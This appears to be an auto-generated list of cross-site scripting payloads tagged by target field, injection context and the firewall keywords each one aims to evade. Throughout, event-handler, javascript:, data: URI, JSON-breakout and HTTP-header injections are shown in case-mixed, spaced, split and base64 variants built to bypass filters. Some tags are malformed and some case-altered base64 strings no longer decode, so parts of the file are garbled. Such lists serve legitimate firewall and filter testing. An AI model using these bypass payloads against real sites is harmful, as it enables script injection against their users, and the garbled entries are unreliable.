[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" oninput=CoNFirm(1) autofocus="
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" oninput = confirm ( 1 ) autofocus = "
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" oninput=CoNfiRM(1) autofocus="
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]' oninput=confirm(1) autofocus='
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr|ENCODING:utf8]" oninput=confIrm(1) AutofocuS="
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_single|ENCODING:utf8]' oninvalid=prompt(1) autofocus='
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_single|ENCODING:utf8]' oninvalid = prompt ( 1 ) autofocus = '
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_single|ENCODING:utf8]' oninvalid=pRompt(1) autofocus='
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_single|ENCODING:utf8]' oninvalid=pROmpT(1) autofocus='
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_single|ENCODING:utf8] oninvalid=prompt(1) autofocus=
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_single|ENCODING:utf8]' oninvalId=prOmpt(1) AuTOfocus='
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_single|ENCODING:utf8]' ONinvAlID=PRoMPT(1) aUtoFocus='
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_single|ENCODING:utf8]' onprogress=confirm(1) autofocus='
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_single|ENCODING:utf8]' OnpROgrEss=cOnFIrm(1) AUTofocUs='
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_single|ENCODING:utf8]' onprogress=CONfirm(1) autofocus='
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_single|ENCODING:utf8]'
onprogress
=
confirm
(
1
)
autofocus
=
'
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_single|ENCODING:utf8]' onPRogrEss=CoNfiRM(1) AuTOfocus='
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_single|ENCODING:utf8]' onprogress=CONFIRm(1) autofocus='
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_none|ENCODING:utf8] onratechange=prompt(1) x=
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_none|ENCODING:utf8] OnRaTeChAnGe=promPt(1) x=
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_none|ENCODING:utf8] onratechange=PrOMpT(1) x=
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_none|ENCODING:utf8] onratechange=PRoMpT(1) x=
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_none|ENCODING:utf8] oNraTEchanGE=pROMPT(1) x=
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_none|ENCODING:utf8] onratechange = prompt ( 1 ) x =
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_none|ENCODING:utf8] onscroll=confirm(1) y=
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_none|ENCODING:utf8] onscroll=cOnFIrm(1) y=
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_none|ENCODING:utf8] onsCROll=Confirm(1) y=
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_none|ENCODING:utf8] onscroll = confirm ( 1 ) y =
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_none|ENCODING:utf8] oNsCroll=coNfirm(1) y=
[WAF:alert,onerror|FIELD:comment|CONTEXT:html_attr_none|ENCODING:utf8] onscroll=cONfiRM(1) y=
[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]javascript:alert(1)
[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]jAvascRIpt:AlErT(1)
[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]JAVAScripT:ALerT(1)
[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]javascript : alert ( 1 )
[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]jAvaScrIpt:aLerT(1)
[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]JAVasCRIPT:AleRT(1)
[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]javascript:alert(1)
[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]data:text/html,<script>alert(1)</script>
[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]data:text/HtMl,<scriPt>aLErT(1)</scRIpt>
[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]data:text/html,<sCRiPt>aLeRT(1)</sCRiPt>
[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]data:text/html,<scRIpT>alERt(1)</scRIpT>
[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]data:text/html,<scrIPT>alert(1)</scrIPT>
[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]data
:
text/html,
<script>
alert
(
1
)
</script>
[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]dAta:tExT/HTMl,<SCRipT>alERt(1)</SCRipT>
[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]daTa:TExt/htmL;bAse64,PHNJcmlWdD5hBGvydCgxKTWvc2NyaXB0Pg==
[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]data:texT/htmL;baSe64,PHNJcmlwdD5HBGVYDCGXkTwvc2NYaXb0PG==
[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]data : text/html ; base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg = =
[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]//example.com/%0aalert(1)
[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]//example.com/%0aalert ( 1 )
[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]//ExampLE.com/%0AALert(1)
[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]//example.com/%0aALErt(1)
[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]//example.com/%0aaleRt(1)
[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]//exAmPle.COM/%0aAlerT(1)
[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]https://example.com/#<img src=x onerror=alert(1)>
[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]https : //example.com/# <img src = x onerror = alert ( 1 ) >
[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]https://example.com/#<img src=x onErroR=alert(1)>
[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]httPs://example.com/#<imG src=X ONeRRoR=ALErt(1)>
[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]https://example.com/#<iMG src=x OnErRor=AleRt(1)>
[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]https://example.com/#<img src=x OnERRor=AlERT(1)>
[WAF:script|FIELD:redirect|CONTEXT:url|ENCODING:utf8]Https://example.com/#<iMg SRC=x onErroR=aleRt(1)>
[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]javascript:prompt(1)
[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]JAVAscRipT:PROmPT(1)
[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]jAVasCriPT:pRoMPt(1)
[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]javascript : prompt ( 1 )
[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]JAvasCripT:prOmpT(1)
[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]javascript%3aprompt(1)
[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]JavaScriPT:pRomPt(1)
[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]data:text/html,<script>confirm(1)</script>
[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]data:text/html,<sCRiPT>confirm(1)</sCRiPT>
[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]DaTA:TeXT/htMl,<sCript>coNfirm(1)</scrIPt>
[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]data:text/html,<ScRIPt>CoNFIRM(1)</ScRIPt>
[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]daTa:text/html,<scRIpt>COnfirm(1)</scRIpt>
[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]data:text/html,<scrIPt>CoNFIRM(1)</scrIPt>
[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]data : text/html, <script> confirm ( 1 ) </script>
[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]data:text/html;base64,PHNjcmlwdD5jb25maXJtKDEpPC9zY3JpcHQ+
[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]data : text/html ; base64,PHNjcmlwdD5jb25maXJtKDEpPC9zY3JpcHQ+
[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]DatA:texT/HtML;basE64,pHnJcmlWdd5jb25MaXjtKdeppc9zY3jpchq+
[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]daTa:text/Html;baSE64,PHnJcMlWdd5Jb25MaxJTKDePPc9zY3jPcHQ+
[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]//example.com/%0aprompt(1)
[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]//examPle.coM/%0aprompt(1)
[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]//example.com/%0aProMpt(1)
[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]//example.com/%0apROmpT(1)
[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]//example.com/%0aprompt ( 1 )
[WAF:alert|FIELD:profile|CONTEXT:url|ENCODING:utf8]//example.com/%0apROmPt(1)
[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]javascript:alert(1)
[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]javASCrIPT:Alert(1)
[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]javascript
:
alert
(
1
)
[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]JAvasCrIPt:alert(1)
[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]javAscriPT:alERt(1)
[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]javaScrIpT:aLerT(1)
[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]javascript:alert(1)
[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]data:image/svg+xml,<svg onload=alert(1)>
[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]data:image/svg+xMl,<sVg onloAD=alert(1)>
[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]data : image/svg+xml, <svg onload = alert ( 1 ) >
[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]dAta:iMAge/svG+XMl,<svG ONLOaD=aLERt(1)>
[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]data:image/svg+xml,<sVG onload=alert(1)>
[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]data:image/svg+xml,<svg onLoad=alert(1)>
[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]data:image/svg+xml,<SVG OnLoAd=alERt(1)>
[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]data:image/svg+xml,<svg OnlOAD=alErt(1)>
[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]data:image/svg+xml;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+
[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]daTa:imaGe/svG+xmL;baSe64,PHN2zyBvbMxVyWq9YWXlcnQOmsk+
[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]data : image/svg+xml ; base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+
[WAFnerror|FIELD:avatar|CONTEXT:url|ENCODING:utf8]data:IMaGe/svg+Xml;bAse64,phN2ZyBvbmxvYWQ9YWxlcNQomSK+
[WAFnerror|FIELD:avatar|CONTEXT:html_attr|ENCODING:utf8]"><svg onload=alert(1)>
[WAFnerror|FIELD:avatar|CONTEXT:html_attr|ENCODING:utf8]"><svg OnlOAD=alErt(1)>
[WAFnerror|FIELD:avatar|CONTEXT:html_attr|ENCODING:utf8]"><svg onLOAd=alert(1)>
[WAFnerror|FIELD:avatar|CONTEXT:html_attr|ENCODING:utf8]"><Svg oNloaD=aLErt(1)>
[WAFnerror|FIELD:avatar|CONTEXT:html_attr|ENCODING:utf8]"><sVg onload=alert(1)>
[WAFnerror|FIELD:avatar|CONTEXT:html_attr|ENCODING:utf8]"> <svg onload = alert ( 1 ) >
[WAFnerror|FIELD:avatar|CONTEXT:html_attr|ENCODING:utf8]"><SVG ONlOAD=alert(1)>
[WAFnerror|FIELD:avatar|CONTEXT:html_attr|ENCODING:utf8]"><SVG onLoaD=alERT(1)>
[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]", "error": "<img src=x onerror=alert(1)>", "foo":"
[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]", "error": "<IMG src=x onerroR=ALert(1)>", "foo":"
[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]', 'error': '<img src=x onerror=alert(1)>', 'foo':'
[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]", "error": "<iMg src=x oneRRoR=ALert(1)>", "fOo":"
[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]", "error": "<img src=x onERRoR=alert(1)>", "foo":"
[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]", "error": "<Img src=x onerror=alert(1)>", "foo":"
[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]", "ERror": "<img src=x onERROr=alert(1)>", "foo":"
[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]", "error" : " <img src = x onerror = alert ( 1 ) > ", "foo" : "
[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]", "error": "<img src=x OnerrOR=aleRT(1)>", "foo":"
[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]", "data": {"user": "<svg onload=alert(1)>"}, "bar":"
[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]", "data": {"uSer": "<SVG OnLOAD=aLeRT(1)>"}, "bar":"
[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]", "data": {"user": "<svg OnlOAd=alert(1)>"}, "bar":"
[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]", "data": {"user": "<sVg onload=alert(1)>"}, "bar":"
[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]", "data": {"user": "<svg OnLOaD=AlErT(1)>"}, "bar":"
[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]", "data": {"user": "<svG ONLOaD=ALert(1)>"}, "bar":"
[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]",
"data"
:
{
"user"
:
"
<svg
onload
=
alert
(
1
)
"
}
,
"bar"
:
"
[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]", "Data": {"useR": "<SvG onloaD=aLErT(1)>"}, "bar":"
[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]</script><script>alert(1)</script>
[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]</scRIpt><scRIpt>ALeRt(1)</scRIpt>
[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]</ScrIPt><ScrIPt>alert(1)</ScrIPt>
[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]</scrIpt><scrIpt>Alert(1)</scrIpt>
[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8] </script> <script> alert ( 1 ) </script>
[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]</scrIPt><script>aleRt(1)</scRipt>
[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]</SCRiPt><SCRiPt>alERT(1)</SCRiPt>
[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]\"}; alert(1); //
[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]\"}; ALerT(1); //
[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]\"}; AlErT(1); //
[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]\" } ; alert ( 1 ) ; //
[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]\"}; aLeRT(1); //
[WAF:|FIELD:api|CONTEXT:json|ENCODING:utf8]\"}; alErT(1); //
[WAF),script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]" onanimationend=confirm(1) style="animation: x 0s;" autofocus="
[WAF),script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]" onanimationend=cONFIRM(1) style="animation: x 0s;" autofocus="
[WAF),script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]" onAnImationeNd=cONFIRM(1) style="aNimatIOn: x 0s;" AuTofoCus="
[WAF),script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]" onanimationend=cOnFiRM(1) style="animation: x 0s;" autofocus="
[WAF),script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]" onanimationend = confirm ( 1 ) style = "animation : x 0s ; " autofocus = "
[WAF),script,alert|FIELD:search|CONTEXT:html_attr|ENCODING:utf8]" oNanimatiOnend=coNfiRm(1) styLe="aNimAtion: X 0s;" aUtofoCUs="
[WAF),script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]' ontransitioncancel=prompt(1) style="transition: x 0s;" autofocus='
[WAF),script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]' ontransitioncancel=proMPT(1) style="transition: x 0s;" autofocus='
[WAF),script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]' ontransitioncancel = prompt ( 1 ) style = "transition : x 0s ; " autofocus = '
[WAF),script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]' oNtrAnsitIoNcancel=PRomPT(1) style="trANsitIon: x 0s;" AUtofocuS='
[WAF),script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]' oNTrANsITioNcancEL=PRoMPt(1) sTylE="TranSiTion: x 0S;" autOfocuS='
[WAF),script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]` ontransitioncancel=prompt(1) style=transition: x 0s; autofocus=`
[WAF),script,alert|FIELD:search|CONTEXT:html_attr_single|ENCODING:utf8]' ontransitioncancel=PRomPt(1) style="transition: x 0s;" autofocus='
[WAF),script,alert|FIELD:search|CONTEXT:js|ENCODING:utf8]'; prompt(1); //
[WAF),script,alert|FIELD:search|CONTEXT:js|ENCODING:utf8]'; pRompT(1); //
[WAF),script,alert|FIELD:search|CONTEXT:js|ENCODING:utf8]'; proMPt(1); //
[WAF),script,alert|FIELD:search|CONTEXT:js|ENCODING:utf8]'; promPT(1); //
[WAF),script,alert|FIELD:search|CONTEXT:js|ENCODING:utf8]'; prOMpT(1); //
[WAF),script,alert|FIELD:search|CONTEXT:js|ENCODING:utf8]' ; prompt ( 1 ) ; //
[WAF),script,alert|FIELD:search|CONTEXT:js_template|ENCODING:utf8]${confirm(1)}
[WAF),script,alert|FIELD:search|CONTEXT:js_template|ENCODING:utf8]${ConfiRm(1)}
[WAF),script,alert|FIELD:search|CONTEXT:js_template|ENCODING:utf8]$ { confirm ( 1 ) }
[WAF),script,alert|FIELD:search|CONTEXT:js_template|ENCODING:utf8]${coNfIRM(1)}
[WAF),script,alert|FIELD:search|CONTEXT:js_template|ENCODING:utf8]${coNFiRM(1)}
[WAF),script,alert|FIELD:search|CONTEXT:js_template|ENCODING:utf8]${cOnFiRM(1)}
[WAF),script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onwebkitanimationstart=alert(1) style="animation: x 0s;" autofocus="
[WAF),script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onwebkitanimationstart = alert ( 1 ) style = "animation : x 0s ; " autofocus = "
[WAF),script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onweBkitanimationstArt=Alert(1) sTylE="AnImatIoN: X 0s;" autoFocus="
[WAF),script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" ONweBKitAnimatIoNstart=aleRt(1) stYlE="aniMAtion: x 0s;" auToFOcUS="
[WAF),script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onwebkitanimationstart=AlERt(1) style="animation: x 0s;" autofocus="
[WAF),script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]" onwebkitanimationstart=aleRt(1) style="animation: x 0s;" autofocus="
[WAF),script,onerror|FIELD:username|CONTEXT:html_attr|ENCODING:utf8]` onwebkitanimationstart=alert(1) style=animation: x 0s; autofocus=`
[WAF),script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onwebkittransitionend=alert(1) style="transition: x 0s;" autofocus='
[WAF),script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onwebkittransitionend=AlERt(1) style="transition: x 0s;" autofocus='
[WAF),script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onwebkittransitionend=alert(1) style='transition: x 0s;' autofocus='
[WAF),script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onwebKittransitIOnENd=aLERt(1) stYLE="transITiOn: X 0s;" AutOfocus='
[WAF),script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onwebkittransitionend = alert ( 1 ) style = "transition : x 0s ; " autofocus = '
[WAF),script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' onwebkittransitionend=AleRT(1) style="transition: x 0s;" autofocus='
[WAF),script,onerror|FIELD:username|CONTEXT:html_attr_single|ENCODING:utf8]' oNwebkiTtRANsITioneNd=aLeRt(1) sTyle="TraNsitIOn: x 0S;" autofocUs='
[WAF),script,onerror|FIELD:username|CONTEXT:js|ENCODING:utf8]'; alert(1); //
[WAF),script,onerror|FIELD:username|CONTEXT:js|ENCODING:utf8]'; aLerT(1); //
[WAF),script,onerror|FIELD:username|CONTEXT:js|ENCODING:utf8]'; aLeRt(1); //
[WAF),script,onerror|FIELD:username|CONTEXT:js|ENCODING:utf8]'; aLERt(1); //
[WAF),script,onerror|FIELD:username|CONTEXT:js|ENCODING:utf8]'; ALeRt(1); //
[WAF),script,onerror|FIELD:username|CONTEXT:js|ENCODING:utf8]' ; alert ( 1 ) ; //
[WAF),script,onerror|FIELD:username|CONTEXT:js_template|ENCODING:utf8]${alert(1)}
[WAF),script,onerror|FIELD:username|CONTEXT:js_template|ENCODING:utf8]${alErt(1)}
[WAF),script,onerror|FIELD:username|CONTEXT:js_template|ENCODING:utf8]${alERT(1)}
[WAF),script,onerror|FIELD:username|CONTEXT:js_template|ENCODING:utf8]$
{
alert
(
1
)
}
[WAF),script,onerror|FIELD:username|CONTEXT:js_template|ENCODING:utf8]${Alert(1)}
[WAF),alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><div onpointerenter=prompt(1)>
[WAF),alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><DIV onpointerenter=PrOMpT(1)>
[WAF),alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><div onpointerEnteR=PrOmpt(1)>
[WAF),alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><div onpointerenter=PrOmpT(1)>
[WAF),alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><dIv oNpointErenter=pRoMPT(1)>
[WAF),alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]>
<div
onpointerenter
=
prompt
(
1
)
[WAF),alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><DIv onpointerenter=prompt(1)>
[WAF),alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><div onpoINTerENTeR=prompt(1)>
[WAF),alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><div onpointerleave=confirm(1)>
[WAF),alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><DIv onpointerleave=confirm(1)>
[WAF),alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><div ONPOInteRleAve=COnFirm(1)>
[WAF),alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]> <div onpointerleave = confirm ( 1 ) >
[WAF),alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><div OnPOINtERLeAVe=confirm(1)>
[WAF),alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><dIv onPoInteRlEAvE=coNfIrm(1)>
[WAF),alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><DIv onpointerleave=coNfirm(1)>
[WAF),alert,onerror|FIELD:comment|CONTEXT:html|ENCODING:utf8]><div onpointerleave=ConfIRM(1)>
[WAF:script,alert,onerror,()|FIELD:id|CONTEXT:url|ENCODING:utf8]1#/../../reports/default/1/0/<h1>XSS</h1>
[WAF:script,alert,onerror,()|FIELD:id|CONTEXT:url|ENCODING:utf8]1#/../../rePorts/default/1/0/<h1>xSS</H1>
[WAF:script,alert,onerror,()|FIELD:id|CONTEXT:url|ENCODING:utf8]1#/../../Reports/dEFauLT/1/0/<h1>XsS</H1>
[WAF:script,alert,onerror,()|FIELD:id|CONTEXT:url|ENCODING:utf8]1#/../../reports/default/1/0/ <h1> XSS </h1>
[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]X-Forwarded-For: 127.0.0.1"><script>alert(1)</script>
[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]X-ForwardEd-FoR: 127.0.0.1"><scRipt>aLERT(1)</scRipt>
[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]X-foRwardEd-FoR: 127.0.0.1"><script>ALeRt(1)</script>
[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]X-Forwarded-For: 127.0.0.1"><SCrIpt>AleRt(1)</SCrIpt>
[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]X-Forwarded-For: 127.0.0.1"><sCRipT>alert(1)</sCRipT>
[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]X-Forwarded-For : 127.0.0.1"> <script> alert ( 1 ) </script>
[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]X-Forwarded-For: 127.0.0.1"><sCript>ALeRT(1)</sCript>
[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]User-Agent: <script>alert(1)</script>
[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]User-Agent: <scrIpT>alErt(1)</scrIpT>
[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]uSer-AgEnt: <SCRIPT>aLeRt(1)</SCRIPT>
[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]User-Agent : <script> alert ( 1 ) </script>
[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]User-Agent: <ScRiPt>alerT(1)</ScRiPt>
[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]User-Agent: <SCrIpT>alert(1)</SCrIpT>
[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]User-Agent: <scripT>alerT(1)</sCRipt>
[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]Referer: javascript:alert(1)
[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]REfeReR: jaVAsCrIPt:aLErT(1)
[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]Referer: jaVascrIpT:alErt(1)
[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]Referer: jAVAsCrIpT:aleRt(1)
[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]RefeRer: javaScrIPt:alert(1)
[WAF:script,alert|FIELD:header|CONTEXT:http|ENCODING:utf8]Referer : javascript : alert ( 1 )
[WAF:CSP|FIELD:header|CONTEXT:http|ENCODING:utf8]Content-Security-Policy: default-src 'self' 'unsafe-inline'
[WAF:CSP|FIELD:header|CONTEXT:http|ENCODING:utf8]Content-Security-Policy : default-src 'self' 'unsafe-inline'
[WAF:CSP|FIELD:header|CONTEXT:http|ENCODING:utf8]ConteNt-SecUrity-PoliCY: default-Src 'sElf' 'Unsafe-INlIne'
[WAF:CSP|FIELD:header|CONTEXT:http|ENCODING:utf8]CoNteNt-SECuRity-PolicY: deFault-Src 'seLf' 'unsaFE-InLINe'
[WAF:script,alert|FIELD:filename|CONTEXT:html_attr|ENCODING:utf8]" onload="alert(1)
[WAF:script,alert|FIELD:filename|CONTEXT:html_attr|ENCODING:utf8]" ONLoaD="aLerT(1)
[WAF:script,alert|FIELD:filename|CONTEXT:html_attr|ENCODING:utf8]" ONloAD="alert(1)
[WAF:script,alert|FIELD:filename|CONTEXT:html_attr|ENCODING:utf8]" onLOAd="ALert(1)
[WAF:script,alert|FIELD:filename|CONTEXT:html_attr|ENCODING:utf8]' onload='alert(1)
